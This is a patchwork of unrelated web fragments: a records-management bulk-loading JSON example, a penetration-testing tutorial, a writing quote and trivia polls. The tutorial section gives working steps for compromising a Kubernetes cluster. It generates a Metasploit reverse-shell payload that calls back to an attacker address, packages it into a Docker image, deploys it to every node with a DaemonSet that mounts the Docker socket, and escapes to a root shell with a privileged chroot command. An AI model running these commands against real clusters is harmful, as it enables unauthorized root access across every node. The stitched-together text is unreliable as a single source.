{ "Origin": { "Uri":9000000006 }, "AutoCommitLocations": true, "SQLCheckConstraints": false, "SQLServerTableLock": true, "UseBulkLoaderRecordNumbering": true, "ProcessInBackground":true, "LocationsToImport":[{ "LocationSurname":"Jones", "LocationGivenNames":"Arthur", "LocationTypeOfLocation":"Person" }], "RecordsToImport": [ { "RecordTitle": "My title from BL 5.1 AAAAA", "RecordAssignee":{ "LocationSurname":"Jones", "LocationGivenNames":"Arthur" }, "RecordFilePath":"test doc.docx" } ] }
If 'ProcessInBackground' is set to true then the ServiceAPI will hand the bulk loading request off to the TRIMServiceAPIBulkLoader service (installed as a windows service). In this case the bulk loading request will immediately return an OriginHistory object. The Uri from this object can be used to poll the OriginHistory object to find out when the bulk loading operation has completed. The Url to fetch the OriginHistory will look like this:
http://localhost/ServiceAPI/OriginHistory?q=uri:9000000019&properties=BulkLoaderIsRunning,OriginHistoryRecordsCreated
In the video below I demonstrate bulk loading one Record using background processing.


Following on from the last post in this series lets setup a rather more ambitious set of reverse shells when attacking a Kubernetes cluster.
The scenario here is that we’ve got the ability to create a daemonset
object in a target Kubernetes cluster and we’d like to have shells on every node in the cluster which have the Docker socket exposed, so we can get a root shell on every node in the cluster.
To do this we’ll need something that’ll easily handle multiple incoming shells, so we’ll turn to the Metasploit Framework and specifically, exploit/multi/handler
We need a Docker image that we can deploy to the cluster which will have our payload to connect back to the listener that we’re going to setup and will run on each node in the cluster.
For this we can run msfvenom to setup our payload and then embed that into a Docker image.
In this case our pentester machine will be on <IP_ADDRESS>
. To avoid managing all Metasploit’s dependencies we can just run it in a Docker container.
This command will generate our payload
docker run raesene/metasploit ./msfvenom -p linux/x64/meterpreter_reverse_http LHOST=<IP_ADDRESS> LPORT=8989 -f elf > reverse_shell.elf
Next run this command to get the Docker GPG key into your directory
curl https://download.docker.com/linux/ubuntu/gpg > docker.gpg
We can now create a Dockerfile to host this shell and upload it to Docker hub. The Dockerfile is a pretty simple one, we’ll need out payload and also the Docker client, for later use.
FROM ubuntu:18.04
RUN apt update && apt install -y apt-transport-https ca-certificates curl software-properties-common
COPY docker.gpg /docker.gpg
RUN apt-key add /docker.gpg
RUN add-apt-repository \
"deb [arch=amd64] https://download.docker.com/linux/ubuntu \
$(lsb_release -cs) \
stable"
RUN apt-get install -y docker-ce-cli
COPY reverse_shell.elf /reverse_shell.elf
RUN chmod +x /reverse_shell.elf
CMD ["/reverse_shell.elf"]
Build it with (replace raesene below with your own docker hub name)
docker build -t raesene/reverse_shell .
Then you can login to Docker hub with docker login
and upload with
docker push raesene/reverse_shell
At this point we can test our reverse shell on a single machine by setting up a Metasploit listener and check that all is well.
On the pentester machine start-up the metasploit console with
msfconsole
then
use exploit/multi/handler
and set our variables, in the same way we did with msfvenom
earlier
set payload linux/x64/meterpreter_reverse_http
set LHOST <IP_ADDRESS>
set LPORT 8989
set ExitOnSession false
With those set, we can start it up to listen for incoming shells
exploit -j
Now on a target machine run our shell and we should get that back on the metasploit console
docker run raesene/reverse_shell
Assuming that’s all working we’re ready to scale it up to our Kubernetes cluster
So we want a workload which will run on every node in the cluster, and that’s exactly what a daemonset will do for us. We’ll need a manifest that creates our daemonset and also we want it to expose the Docker socket so we can easily break out of each of our containers to the underlying host.
This should work fine, unless the cluster has a PodSecurityPolicy blocking the mounting of the docker socket inside a container.
We’ll call our manifest reverse-shell-daemonset.yml
and it should contain this :-
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: reverse-shell-daemonset
labels:
spec:
selector:
matchLabels:
name: reverse-shell-daemonset
template:
metadata:
labels:
name: reverse-shell-daemonset
spec:
tolerations:
- key: node-role.kubernetes.io/master
effect: NoSchedule
containers:
- name: revshell
image: raesene/reverse-shell
volumeMounts:
- mountPath: /var/run/docker.sock
name: dockersock
volumes:
- name: dockersock
hostPath:
path: /var/run/docker.sock
Once you’ve got your manifest ready, just apply it to the cluster with
kubectl create -f reverse-shell-daemonset.yml
Back on your metasploit console you should see your shells pop in, one for each node :)
So once you’ve got your shells working, you can interact with them from the Metasploit console
sessions -l
Will show you your active sessions. Then
sessions -i 1
Will let you interact with one of them
shell
should give you a shell inside the container running on one of our nodes. Now the last part is to use the exposed Docker Socket to get a root shell on the underlying host.
To Do this we can juse make use of the every handy Most Pointless Docker Command Ever
Running
docker run -ti --privileged --net=host --pid=host --ipc=host --volume /:/host busybox chroot /host
and it’ll dump us out to a root shell on the underlying node :)


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If writing is revolutionary, just being honest and talking about your life is revolutionary. If everyone did that, it’d change things. If you start to chip away at walls that are within you, you’ll eventually get revolutionary writing.


Poll 1
What is the name of the current James Bond?
Daniel Craig
Poll 2
Which of these languages is best?
Ruby
Poll 3
What animal is the best?
Orangutan
Poll 4
Who wrote 'The Hobbit'?
J.R.R. Tolkien
Poll 5
In which city was Moulin Rouge set?
Paris


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